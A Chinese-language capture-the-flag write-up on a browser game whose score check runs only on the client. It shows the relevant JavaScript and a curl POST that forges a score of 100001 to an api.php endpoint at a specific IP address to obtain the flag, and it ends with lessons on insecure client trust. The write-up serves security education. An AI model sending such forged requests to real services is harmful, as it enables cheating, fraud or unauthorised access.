1. 源码审计
访问首页,发现是一个基于 Canvas 开发的“飞机大战”网页游戏。页面提示“100,000分就给Flag”。
查看源代码,发现游戏核心逻辑位于 app_v2.js 中。
2. 逻辑分析
在 app_v2.js 中搜索分数提交相关的逻辑,找到 gameover 函数:
function gameover() {
if (gameScore > 100000) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "api.php", true);
xhr.setRequestHeader("Content-Type", "application/json");
// ...
var data = {
score: gameScore,
};
xhr.send(JSON.stringify(data));
}
// ...
}
分析可知,当游戏结束且分数 gameScore 大于 100,000 时,前端会向 api.php 发送一个 POST 请求,Body 为 JSON 格式的分数数据。
3. 漏洞利用
由于分数验证仅在前端进行控制,且后端接口 api.php 缺乏对请求合法性的进一步校验(如签名、时间戳等),我们可以直接构造 POST 请求绕过游戏过程。
使用 curl 命令直接提交超过 100,000 的分数:
curl -X POST http://115.159.155.176:25790/api.php \
-H "Content-Type: application/json" \
-d '{"score": 100001}'
4. 获取 FLAG
执行上述命令后,后端返回包含 Flag 的 JSON 响应:
{"message":"'flag{23bf1fd0-5d3b-4e34-b7c2-eb626ada9fb3}'"}
最终 Flag
flag{23bf1fd0-5d3b-4e34-b7c2-eb626ada9fb3}
知识点总结
- 不安全的客户端信任: 关键逻辑(如分数判定、奖励发放)完全依赖客户端提交的数据,未在服务端进行有效验证。
- Web 接口分析: 通过阅读 JavaScript 源码识别后端 API 路径及其请求格式。